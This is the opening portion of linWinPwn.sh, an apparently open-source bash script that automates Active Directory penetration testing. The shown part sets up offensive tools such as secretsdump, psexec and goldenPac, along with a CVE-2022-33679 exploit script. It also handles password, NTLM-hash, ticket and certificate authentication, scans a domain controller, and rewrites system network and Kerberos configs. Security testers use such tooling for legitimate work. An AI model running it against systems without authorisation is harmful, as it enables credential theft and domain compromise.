-
Notifications
You must be signed in to change notification settings - Fork 267
/
linWinPwn.sh
executable file
·5984 lines (5523 loc) · 297 KB
/
linWinPwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Title: linWinPwn
# Author: lefayjey
#Colors
RED='\033[1;31m'
GREEN='\033[1;32m'
CYAN='\033[1;36m'
BLUE='\033[1;34m'
YELLOW='\033[1;33m'
PURPLE='\033[1;35m'
NC='\033[0m'
#Default variables
user=""
password=""
interactive_bool=true
output_dir="$(pwd)"
wordlists_dir="/opt/lwp-wordlists"
pass_wordlist="/usr/share/wordlists/rockyou.txt"
if [ ! -f "${pass_wordlist}" ]; then pass_wordlist="${wordlists_dir}/rockyou.txt"; fi
user_wordlist="/usr/share/seclists/Usernames/cirt-default-usernames.txt"
if [ ! -f "${user_wordlist}" ]; then user_wordlist="${wordlists_dir}/cirt-default-usernames.txt"; fi
attacker_interface="eth0"
attacker_IP=$(ip -f inet addr show $attacker_interface | sed -En -e 's/.*inet ([0-9.]+).*/\1/p')
curr_targets="Domain Controllers"
targets="DC"
custom_target_scanned=false
nullsess_bool=false
pass_bool=false
hash_bool=false
kerb_bool=false
aeskey_bool=false
cert_bool=false
autoconfig_bool=false
ldaps_bool=false
ldapbinding_bool=false
forcekerb_bool=false
verbose_bool=false
#Tools variables
scripts_dir="/opt/lwp-scripts"
netexec=$(which netexec)
impacket_findDelegation=$(which findDelegation.py)
if [ ! -f "${impacket_findDelegation}" ]; then impacket_findDelegation=$(which impacket-findDelegation); fi
impacket_GetUserSPNs=$(which GetUserSPNs.py)
if [ ! -f "${impacket_GetUserSPNs}" ]; then impacket_GetUserSPNs=$(which impacket-GetUserSPNs); fi
impacket_secretsdump=$(which secretsdump.py)
if [ ! -f "${impacket_secretsdump}" ]; then impacket_secretsdump=$(which impacket-secretsdump); fi
impacket_GetNPUsers=$(which GetNPUsers.py)
if [ ! -f "${impacket_GetNPUsers}" ]; then impacket_GetNPUsers=$(which impacket-GetNPUsers); fi
impacket_getTGT=$(which getTGT.py)
if [ ! -f "${impacket_getTGT}" ]; then impacket_getTGT=$(which impacket-getTGT); fi
impacket_goldenPac=$(which goldenPac.py)
if [ ! -f "${impacket_goldenPac}" ]; then impacket_goldenPac=$(which impacket-goldenPac); fi
impacket_rpcdump=$(which rpcdump.py)
if [ ! -f "${impacket_rpcdump}" ]; then impacket_rpcdump=$(which impacket-rpcdump); fi
impacket_reg=$(which reg.py)
if [ ! -f "${impacket_reg}" ]; then impacket_reg=$(which impacket-reg); fi
impacket_smbserver=$(which smbserver.py)
if [ ! -f "${impacket_smbserver}" ]; then impacket_smbserver=$(which impacket-smbserver); fi
impacket_ticketer=$(which ticketer.py)
if [ ! -f "${impacket_ticketer}" ]; then impacket_ticketer=$(which impacket-ticketer); fi
impacket_ticketconverter=$(which ticketConverter.py)
if [ ! -f "${impacket_ticketconverter}" ]; then impacket_ticketconverter=$(which impacket-ticketconverter); fi
impacket_getST=$(which getST.py)
if [ ! -f "${impacket_getST}" ]; then impacket_getST=$(which impacket-getST); fi
impacket_raiseChild=$(which raiseChild.py)
if [ ! -f "${impacket_raiseChild}" ]; then impacket_raiseChild=$(which impacket-raiseChild); fi
impacket_smbclient=$(which smbclient.py)
if [ ! -f "${impacket_smbclient}" ]; then impacket_smbclient=$(which impacket-smbexec); fi
impacket_smbexec=$(which smbexec.py)
if [ ! -f "${impacket_smbexec}" ]; then impacket_smbexec=$(which impacket-smbexec); fi
impacket_wmiexec=$(which wmiexec.py)
if [ ! -f "${impacket_wmiexec}" ]; then impacket_wmiexec=$(which impacket-wmiexec); fi
impacket_psexec=$(which psexec.py)
if [ ! -f "${impacket_psexec}" ]; then impacket_psexec=$(which impacket-psexec); fi
impacket_changepasswd=$(which changepasswd.py)
if [ ! -f "${impacket_changepasswd}" ]; then impacket_changepasswd=$(which impacket-changepasswd); fi
impacket_mssqlclient=$(which mssqlclient.py)
if [ ! -f "${impacket_mssqlclient}" ]; then impacket_mssqlclient=$(which impacket-mssqlclient); fi
impacket_describeticket=$(which describeTicket.py)
if [ ! -f "${impacket_describeticket}" ]; then impacket_describeticket=$(which impacket-describeTicket); fi
enum4linux_py=$(which enum4linux-ng)
if [ ! -f "${enum4linux_py}" ]; then enum4linux_py="$scripts_dir/enum4linux-ng.py"; fi
bloodhound=$(which bloodhound-python)
bloodhoundce=$(which bloodhound-python_ce)
ldapdomaindump=$(which ldapdomaindump)
smbmap=$(which smbmap)
adidnsdump=$(which adidnsdump)
certi_py=$(which certi.py)
certipy=$(which certipy)
ldeep=$(which ldeep)
pre2k=$(which pre2k)
certsync=$(which certsync)
hekatomb=$(which hekatomb)
manspider=$(which manspider)
coercer=$(which coercer)
donpapi=$(which DonPAPI)
bloodyad=$(which bloodyAD)
mssqlrelay=$(which mssqlrelay)
kerbrute="$scripts_dir/kerbrute"
silenthound="$scripts_dir/silenthound.py"
windapsearch="$scripts_dir/windapsearch"
CVE202233679="$scripts_dir/CVE-2022-33679.py"
targetedKerberoast="$scripts_dir/targetedKerberoast.py"
FindUncommonShares="$scripts_dir/FindUncommonShares.py"
ExtractBitlockerKeys="$scripts_dir/ExtractBitlockerKeys.py"
ldapconsole="$scripts_dir/ldapconsole.py"
pyLDAPmonitor="$scripts_dir/pyLDAPmonitor.py"
LDAPWordlistHarvester="$scripts_dir/LDAPWordlistHarvester.py"
rdwatool=$(which rdwatool)
aced="$scripts_dir/aced-main/aced.py"
sccmhunter="$scripts_dir/sccmhunter-main/sccmhunter.py"
ldapper="$scripts_dir/ldapper/ldapper.py"
orpheus="$scripts_dir/orpheus-main/orpheus.py"
krbjack=$(which krbjack)
adalanche="$scripts_dir/adalanche"
pygpoabuse="$scripts_dir/pyGPOAbuse-master/pygpoabuse.py"
GPOwned="$scripts_dir/GPOwned.py"
privexchange="$scripts_dir/privexchange.py"
RunFinger="$scripts_dir/Responder/RunFinger.py"
ADCheck=$(which adcheck)
adPEAS=$(which adPEAS)
breads=$(which breads-ad)
smbclientng=$(which smbclientng)
evilwinrm=$(which evil-winrm)
ldapnomnom="$scripts_dir/ldapnomnom"
godap="$scripts_dir/godap"
mssqlpwner=$(which mssqlpwner)
aesKrbKeyGen="$scripts_dir/aesKrbKeyGen.py"
nmap=$(which nmap)
john=$(which john)
python3="${scripts_dir}/.venv/bin/python3"
if [ ! -f "${python3}" ]; then python3=$(which python3); fi
print_banner() {
echo -e "
_ __ ___ ____
| |(_)_ __\ \ / (_)_ __ | _ \__ ___ __
| || | '_ \ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
| || | | | |\ V V / | | | | | __/ \ V V /| | | |
|_||_|_| |_| \_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
${BLUE}linWinPwn: ${CYAN}version 1.0.29 ${NC}
https://github.com/lefayjey/linWinPwn
${BLUE}Author: ${CYAN}lefayjey${NC}
${BLUE}Inspired by: ${CYAN}S3cur3Th1sSh1t's WinPwn${NC}
"
}
help_linWinPwn() {
print_banner
echo -e "${YELLOW}Parameters${NC}"
echo -e "-h/--help Show the help message"
echo -e "-t/--target IP Address of Target Domain Controller ${RED}[MANDATORY]${NC}"
echo -e "-d/--domain Domain of user (default: empty)"
echo -e "-u/--username Username (default: empty)"
echo -e "-p Password (NTLM authentication only) (default: empty)"
echo -e "-H LM:NT (NTLM authentication only) (default: empty)"
echo -e "-K Location to Kerberos ticket './krb5cc_ticket' (Kerberos authentication only) (default: empty)"
echo -e "-A AES Key (Kerberos authentication only) (default: empty)"
echo -e "-C Location to PFX Certificate './cert.pfx' (default: empty)"
echo -e "--cert-pass Password of provided PFX Certificate (optional)"
echo -e "--auto Run automatic enumeration"
echo -e "-o/--output Output directory (default: current dir)"
echo -e "--auto-config Run NTP sync with target DC and adds entry to /etc/hosts"
echo -e "--ldaps Use LDAPS instead of LDAP (port 636)"
echo -e "--ldap-binding Use LDAP Channel Binding on LDAPS (port 636)"
echo -e "--force-kerb Use Kerberos authentication instead of NTLM when possible (requires password or NTLM hash)"
echo -e "--verbose Enable all verbose and debug outputs"
echo -e "-I/--interface Attacker's network interface (default: eth0)"
echo -e "-T/--targets Target systems for Vuln Scan, SMB Scan and Pwd Dump (default: Domain Controllers)"
echo -e "-U/--userwordlist Custom username list used during Null session checks"
echo -e "-P/--passwordlist Custom password list used during password cracking"
echo -e " ${CYAN}Choose between:${NC} DC (Domain Controllers), All (All domain servers), File='path_to_file' (File containing list of servers), IP='IP_or_hostname' (IP or hostname)"
echo -e ""
echo -e "${YELLOW}Example usages${NC}"
echo -e "$(pwd)/$(basename "$0") -t dc_ip ${CYAN}(No password for anonymous login)${NC}" >&2
echo -e "$(pwd)/$(basename "$0") -t dc_ip -d domain -u user [-p password or -H hash or -K kerbticket]" >&2
echo -e ""
}
args=()
while test $# -gt 0; do
case $1 in
-t | --target)
dc_ip="${2}"
shift
;; #mandatory
-d | --domain)
domain="${2}"
shift
;;
-u | --user)
user="${2}"
shift
;; #leave empty for anonymous login
-p)
password="${2}"
if [ ! "${password}" == "" ]; then pass_bool=true; fi
shift
;; #password
-H)
hash="${2}"
if [ ! "${hash}" == "" ]; then hash_bool=true; fi
shift
;; #NTLM hash
-K)
krb5cc="${2}"
if [ ! "${krb5cc}" == "" ]; then kerb_bool=true; fi
shift
;; #location of krb5cc ticket
-A)
aeskey="${2}"
if [ ! "${aeskey}" == "" ]; then aeskey_bool=true; fi
shift
;; #AES Key (128 or 256 bits)
-C)
pfxcert="${2}"
if [ ! "${pfxcert}" == "" ]; then cert_bool=true; fi
shift
;; #location of PFX certificate
--cert-pass)
pfxpass="${2}"
shift
;; #Password of PFX certificate
-o)
output_dir="$(realpath "${2}")"
shift
;;
--output)
output_dir="$(realpath "${2}")"
shift
;;
-I | --interface)
attacker_IP="$(ip -f inet addr show "${2}" | sed -En 's/.*inet ([0-9.]+).*/\1/p')"
attacker_interface="${2}"
shift
;;
-T | --targets)
targets="${2}"
shift
;;
-U | --userwordlist)
user_wordlist="${2}"
shift
;;
-P | --passwordlist)
pass_wordlist="${2}"
shift
;;
--auto)
interactive_bool=false
args+=("$1")
;; #auto mode, disable interactive
--auto-config)
autoconfig_bool=true
args+=("$1")
;;
--ldaps)
ldaps_bool=true
args+=("$1")
;;
--ldap-binding)
ldaps_bool=true
ldapbinding_bool=true
args+=("$1")
;;
--force-kerb)
forcekerb_bool=true
args+=("$1")
;;
--verbose)
verbose_bool=true
args+=("$1")
;;
-h | --help)
help_linWinPwn
exit
;;
*)
print_banner
echo -e "${RED}[-] Unknown option:${NC} ${1}"
echo -e "Use -h for help"
exit 1
;;
esac
shift
done
set -- "${args[@]}"
run_command() {
echo "$(date +%Y-%m-%d\ %H:%M:%S); $*" >>"$command_log"
/usr/bin/script -qc "$@" /dev/null
}
ntp_update() {
echo -e ""
sudo timedatectl set-ntp 0
sudo ntpdate "${dc_ip}"
echo -e "${GREEN}[+] NTP sync complete${NC}"
}
etc_hosts_update() {
echo -e ""
if ! grep -q "${dc_ip}" "/etc/hosts" >/dev/null 2>&1; then
hosts_bak="/etc/hosts.$(date +%Y%m%d%H%M%S).backup"
sudo cp /etc/hosts "${hosts_bak}"
echo -e "${YELLOW}[i] Backup file of /etc/hosts created: ${hosts_bak}${NC}"
sudo sed -i "/${dc_FQDN}/d" /etc/hosts
echo -e "# /etc/hosts entry added by linWinPwn" | sudo tee -a /etc/hosts
echo -e "${dc_ip}\t${dc_domain} ${dc_FQDN} ${dc_NETBIOS}" | sudo tee -a /etc/hosts
echo -e "${GREEN}[+] Hosts file update complete${NC}"
else
echo -e "${PURPLE}[-] Target IP already present in /etc/hosts... ${NC}"
fi
}
etc_resolv_update() {
echo -e ""
if ! grep -q "${dc_ip}" "/etc/resolv.conf" >/dev/null 2>&1; then
resolv_bak="/etc/resolv.conf.$(date +%Y%m%d%H%M%S).backup"
sudo cp /etc/resolv.conf "${resolv_bak}"
echo -e "${YELLOW}[i] Backup file of /etc/resolv.conf created: ${resolv_bak}${NC}"
sed "1s/^/\# \/etc\/resolv.conf entry added by linWinPwn\nnameserver ${dc_ip}\n/" /etc/resolv.conf | sudo tee /etc/resolv.conf
echo -e "${GREEN}[+] DNS resolv config update complete${NC}"
else
echo -e "${PURPLE}[-] Target IP already present in /etc/resolv.conf... ${NC}"
fi
}
etc_krb5conf_update() {
echo -e ""
if ! grep -q "${dc_domain}" "/etc/krb5.conf" >/dev/null 2>&1; then
krb5_bak="/etc/krb5.conf.$(date +%Y%m%d%H%M%S)".backup
sudo cp /etc/krb5.conf "${krb5_bak}"
echo -e "${YELLOW}[i] Backup file of /etc/krb5.conf created: ${krb5_bak}${NC}"
echo -e "# /etc/krb5.conf file modified by linWinPwn" | sudo tee /etc/krb5.conf
echo -e "[libdefaults]" | sudo tee -a /etc/krb5.conf
echo -e " default_realm = ${domain^^}" | sudo tee -a /etc/krb5.conf
echo -e "" | sudo tee -a /etc/krb5.conf
echo -e "# The following krb5.conf variables are only for MIT Kerberos." | sudo tee -a /etc/krb5.conf
echo -e " kdc_timesync = 1" | sudo tee -a /etc/krb5.conf
echo -e " ccache_type = 4" | sudo tee -a /etc/krb5.conf
echo -e " forwardable = true" | sudo tee -a /etc/krb5.conf
echo -e " proxiable = true" | sudo tee -a /etc/krb5.conf
echo -e " rdns = false" | sudo tee -a /etc/krb5.conf
echo -e "" | sudo tee -a /etc/krb5.conf
echo -e " fcc-mit-ticketflags = true" | sudo tee -a /etc/krb5.conf
echo -e " dns_canonicalize_hostname = false" | sudo tee -a /etc/krb5.conf
echo -e " dns_lookup_realm = false" | sudo tee -a /etc/krb5.conf
echo -e " dns_lookup_kdc = true" | sudo tee -a /etc/krb5.conf
echo -e " k5login_authoritative = false" | sudo tee -a /etc/krb5.conf
echo -e "" | sudo tee -a /etc/krb5.conf
echo -e "[realms]" | sudo tee -a /etc/krb5.conf
echo -e " ${domain^^} = {" | sudo tee -a /etc/krb5.conf
echo -e " kdc = ${dc_FQDN}" | sudo tee -a /etc/krb5.conf
echo -e " }" | sudo tee -a /etc/krb5.conf
echo -e "" | sudo tee -a /etc/krb5.conf
echo -e "[domain_realm]" | sudo tee -a /etc/krb5.conf
echo -e " .${domain,,} = ${domain^^}" | sudo tee -a /etc/krb5.conf
echo -e "${GREEN}[+] KRB5 config update complete${NC}"
else
echo -e "${PURPLE}[-] Domain already present in /etc/krb5.conf... ${NC}"
fi
}
prepare() {
if [ -z "$dc_ip" ]; then
echo -e "${RED}[-] Missing target... ${NC}"
if [ -n "$domain" ]; then
dig_ip=$(dig +short "${domain}")
if [ -n "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided domain resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
fi
echo -e "${YELLOW}[i]${NC} Use -h for more help"
exit 1
elif [[ ! $dc_ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo -e "${RED}[-] Target is not an IP address... ${NC}"
dig_ip=$(dig +short "${dc_ip}")
if [ -n "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided target resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
if [ -n "$domain" ]; then
dig_ip=$(dig +short "${domain}")
if [ -n "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided domain resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
fi
echo -e "${YELLOW}[i]${NC} Use -h for more help"
exit 1
fi
echo -e "${GREEN}[+] $(date)${NC}"
if [ ! -f "${netexec}" ]; then
echo -e "${RED}[-] Please ensure netexec is installed and try again... ${NC}"
exit 1
else
dc_info=$(${netexec} ldap "${dc_ip}" | grep -v "Connection refused")
fi
dc_NETBIOS=$(echo "$dc_info" | cut -d ":" -f 2 | sed "s/) (domain//g" | head -n 1)
dc_domain=$(echo "$dc_info" | cut -d ":" -f 3 | sed "s/) (signing//g" | head -n 1)
if [[ "${dc_NETBIOS}" == *"${dc_domain}"* ]]; then
dc_FQDN=${dc_NETBIOS}
dc_NETBIOS=$(echo "${dc_FQDN}" | cut -d "." -f 1)
else
dc_FQDN=${dc_NETBIOS}"."${dc_domain}
fi
if [ -z "$dc_info" ]; then
echo -e "${RED}[-] Error connecting to target! Please ensure the target is a Domain Controller and try again... ${NC}"
exit 1
elif [ -z "$dc_domain" ]; then
echo -e "${RED}[-] Error finding DC's domain, please specify domain... ${NC}"
exit 1
else
if [ -z "$domain" ]; then domain=$dc_domain; fi
fi
if [ "${user}" == "" ]; then user_out="null"; else user_out=${user// /}; fi
output_dir="${output_dir}/linWinPwn_${dc_domain}_${user_out}"
command_log="$output_dir/$(date +%Y-%m-%d)_command.log"
servers_ip_list="${output_dir}/DomainRecon/Servers/ip_list_${dc_domain}.txt"
dc_ip_list="${output_dir}/DomainRecon/Servers/dc_ip_list_${dc_domain}.txt"
sql_ip_list="${output_dir}/DomainRecon/Servers/sql_ip_list_${dc_domain}.txt"
servers_hostname_list="${output_dir}/DomainRecon/Servers/servers_list_${dc_domain}.txt"
dc_hostname_list="${output_dir}/DomainRecon/Servers/dc_list_${dc_domain}.txt"
sql_hostname_list="${output_dir}/DomainRecon/Servers/sql_list_${dc_domain}.txt"
custom_servers_list="${output_dir}/DomainRecon/Servers/custom_servers_list_${dc_domain}.txt"
target=${dc_ip}
target_servers=${servers_ip_list}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
mkdir -p "${output_dir}/Credentials"
mkdir -p "${output_dir}/DomainRecon/Servers"
mkdir -p "${output_dir}/DomainRecon/Users"
mkdir -p "${output_dir}/Scans"
dc_open_ports=$(${nmap} -n -Pn -p 135,445,389,636,88,3389,5985 "${dc_ip}" -sT -T5 --open -oG "${output_dir}/Scans/${dc_ip}"_mainports)
if [[ $dc_open_ports == *"135/tcp"* ]]; then dc_port_135="${GREEN}open${NC}"; else dc_port_135="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"445/tcp"* ]]; then dc_port_445="${GREEN}open${NC}"; else dc_port_445="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"389/tcp"* ]]; then dc_port_389="${GREEN}open${NC}"; else dc_port_389="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"636/tcp"* ]]; then dc_port_636="${GREEN}open${NC}"; else dc_port_636="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"88/tcp"* ]]; then dc_port_88="${GREEN}open${NC}"; else dc_port_88="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"3389/tcp"* ]]; then dc_port_3389="${GREEN}open${NC}"; else dc_port_3389="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"5985/tcp"* ]]; then dc_port_5985="${GREEN}open${NC}"; else dc_port_5985="${RED}filtered|closed${NC}"; fi
if [ "${autoconfig_bool}" == true ]; then
echo -e "${BLUE}[*] Running auto-config... ${NC}"
ntp_update
etc_hosts_update
etc_resolv_update
etc_krb5conf_update
fi
if [ ! -f "${servers_ip_list}" ]; then /bin/touch "${servers_ip_list}"; fi
if [ ! -f "${servers_hostname_list}" ]; then /bin/touch "${servers_hostname_list}"; fi
if [ ! -f "${dc_ip_list}" ]; then /bin/touch "${dc_ip_list}"; fi
if [ ! -f "${dc_hostname_list}" ]; then /bin/touch "${dc_hostname_list}"; fi
if [ ! -f "${user_wordlist}" ]; then
echo -e "${RED}[-] Users list file not found${NC}"
fi
if [ ! -f "${pass_wordlist}" ]; then
echo -e "${RED}[-] Passwords list file not found${NC}"
fi
echo -e ""
if [[ $targets == "DC" ]]; then
curr_targets="Domain Controllers"
elif [[ $targets == "All" ]]; then
dns_enum
curr_targets="All domain servers"
elif [[ $targets == "File="* ]]; then
curr_targets="File containing list of servers"
/bin/rm "${custom_servers_list}" 2>/dev/null
custom_servers=$(echo "$targets" | cut -d "=" -f 2)
/bin/cp "${custom_servers}" "${custom_servers_list}" 2>/dev/null
if [ ! -s "${custom_servers_list}" ]; then
echo -e "${RED}Invalid servers list.${NC} Choosing Domain Controllers as targets instead."
curr_targets="Domain Controllers"
custom_servers=""
fi
elif [[ $targets == "IP="* ]]; then
curr_targets="IP or hostname"
custom_ip=$(echo "$targets" | cut -d "=" -f 2)
/bin/rm "${custom_servers_list}" 2>/dev/null
echo -n "$custom_ip" >"${custom_servers_list}" 2>/dev/null
if [ ! -s "${custom_servers_list}" ]; then
echo -e "${RED}Invalid servers list.${NC} Choosing Domain Controllers as targets instead."
curr_targets="Domain Controllers"
custom_ip=""
fi
else
echo -e "${RED}[-] Error invalid targets parameter. Choose between DC, All, File='./custom_list' or IP=IP_or_hostname... ${NC}"
exit 1
fi
}
authenticate() {
#Check if null session or empty password is used
if [ "${pass_bool}" == false ] && [ "${hash_bool}" == false ] && [ "${kerb_bool}" == false ] && [ "${aeskey_bool}" == false ] && [ "${cert_bool}" == false ]; then
if [ ! "${user}" == "" ]; then
echo -e "${RED}[i]${NC} Please specify password, NTLM hash, Kerberos ticket, AES key or certificate and try again..."
exit 1
else
nullsess_bool=true
rand_user=$(
tr -dc A-Za-z0-9 </dev/urandom | head -c 10
echo
)
argument_ne="-d ${domain} -u '' -p ''"
argument_smbmap="-d ${domain} -u '' -p ''"
argument_manspider="-d ${domain} -u '' -p ''"
argument_coercer="-d ${domain} -u '' -p ''"
argument_bloodyad="-d ${domain} -u '' -p ''"
argument_privexchange="-d ${domain} -u '' -p ''"
argument_windap="-d ${domain}"
argument_adidns=""
argument_ldd=""
argument_silenthd=""
argument_enum4linux=""
argument_imp="${domain}/"
argument_imp_gp="${domain}/"
argument_ldeep="-d ${dc_domain} -a"
argument_pre2k="-d ${domain}"
argument_p0dalirius="-d ${domain} -u Guest -p ''"
argument_FindUncom="-ad ${domain} -au Guest -ap ''"
argument_adalanche="--authmode anonymous --username Guest\\@${domain} -p '!'"
argument_godap=""
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}null session ${NC}"
fi
#Check if username is not provided
elif [ "${user}" == "" ]; then
echo -e "${RED}[i]${NC} Please specify username and try again..."
exit 1
fi
#Check if password is used
if [ "${pass_bool}" == true ]; then
argument_ne="-d ${domain} -u '${user}' -p '${password}'"
argument_imp="${domain}/'${user}':'${password}'"
argument_imp_gp="${domain}/'${user}':'${password}'"
argument_imp_ti="-user '${user}' -password '${password}' -domain ${domain}"
argument_bhd="-u '${user}'\\@${domain} -p '${password}' --auth-method ntlm"
argument_enum4linux="-w ${domain} -u '${user}' -p '${password}'"
argument_adidns="-u ${domain}\\\\'${user}' -p '${password}'"
argument_ldd="-u ${domain}\\\\'${user}' -p '${password}'"
argument_smbmap="-d ${domain} -u '${user}' -p '${password}'"
argument_certi_py="${domain}/'${user}':'${password}'"
argument_certipy="-u '${user}'\\@${domain} -p '${password}'"
argument_ldeep="-d ${domain} -u '${user}' -p '${password}'"
argument_pre2k="-d ${domain} -u '${user}' -p '${password}'"
argument_certsync="-d ${domain} -u '${user}' -p '${password}'"
argument_donpapi="-d ${domain} -u '${user}' -p '${password}'"
argument_hekatomb="${domain}/'${user}':'${password}'"
argument_silenthd="-u ${domain}\\\\'${user}' -p '${password}'"
argument_windap="-d ${domain} -u '${user}' -p '${password}'"
argument_targkerb="-d ${domain} -u '${user}' -p '${password}'"
argument_p0dalirius="-d ${domain} -u '${user}' -p '${password}'"
argument_FindUncom="-ad ${domain} -au '${user}' -ap '${password}'"
argument_manspider="-d ${domain} -u '${user}' -p '${password}'"
argument_coercer="-d ${domain} -u '${user}' -p '${password}'"
argument_bloodyad="-d ${domain} -u '${user}' -p '${password}'"
argument_aced="${domain}/'${user}':'${password}'"
argument_sccm="-d ${domain} -u '${user}' -p '${password}'"
argument_ldapper="-D ${domain} -U '${user}' -P '${password}'"
argument_adalanche="--authmode ntlm --username '${user}'\\@${domain} --password '${password}'"
argument_mssqlrelay="-u '${user}'\\@${domain} -p '${password}'"
argument_pygpoabuse="${domain}/'${user}':'${password}''"
argument_GPOwned="-d ${domain} -u '${user}' -p '${password}'"
argument_privexchange="-d ${domain} -u '${user}' -p '${password}'"
argument_adpeas="-d ${domain} -u '${user}' -p '${password}'"
argument_adcheck="-d ${domain} -u '${user}' -p '${password}'"
argument_evilwinrm="-u '${user}' -p '${password}'"
argument_godap="-u '${user}'@${domain} -p '${password}'"
argument_mssqlpwner="${domain}/'${user}':'${password}'"
hash_bool=false
kerb_bool=false
unset KRB5CCNAME
aeskey_bool=false
cert_bool=false
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}password of ${user}${NC}"
fi
#Check if NTLM hash is used, and complete with empty LM hash / Check if Certificate is provided for PKINIT
if [ "${hash_bool}" == true ] || [ "${cert_bool}" == true ]; then
if [ "${cert_bool}" == true ]; then
echo -e "${YELLOW}[!]${NC} WARNING only ldeep and bloodyAD currently support certificate authentication.${NC}"
echo -e "${YELLOW}[!]${NC} Extracting the NTLM hash of the user using PKINIT and using PtH for all other tools${NC}"
pkinit_auth
$(which openssl) pkcs12 -in "${pfxcert}" -out "${output_dir}/Credentials/${user}.pem" -nodes -passin pass:""
if [ -f "${output_dir}/Credentials/${user}.pem" ]; then
pem_cert="${output_dir}/Credentials/${user}.pem"
echo -e "${GREEN}[+] PFX Certificate converted to PEM successfully:${NC} '${output_dir}/Credentials/${user}.pem'"
fi
argument_bloodyad="-d ${domain} -u '${user}' -c ':${pem_cert}'"
argument_ldeep="-d ${domain} -u '${user}' --pfx-file '${pfxcert}'"
argument_evilwinrm="-u '${user}' -k '${pem_cert}'"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}Certificate of $user located at $(realpath "$pfxcert")${NC}"
hash_bool=true
else
if [[ (${#hash} -eq 65 && "${hash:32:1}" == ":") || (${#hash} -eq 33 && "${hash:0:1}" == ":") || (${#hash} -eq 32) ]]; then
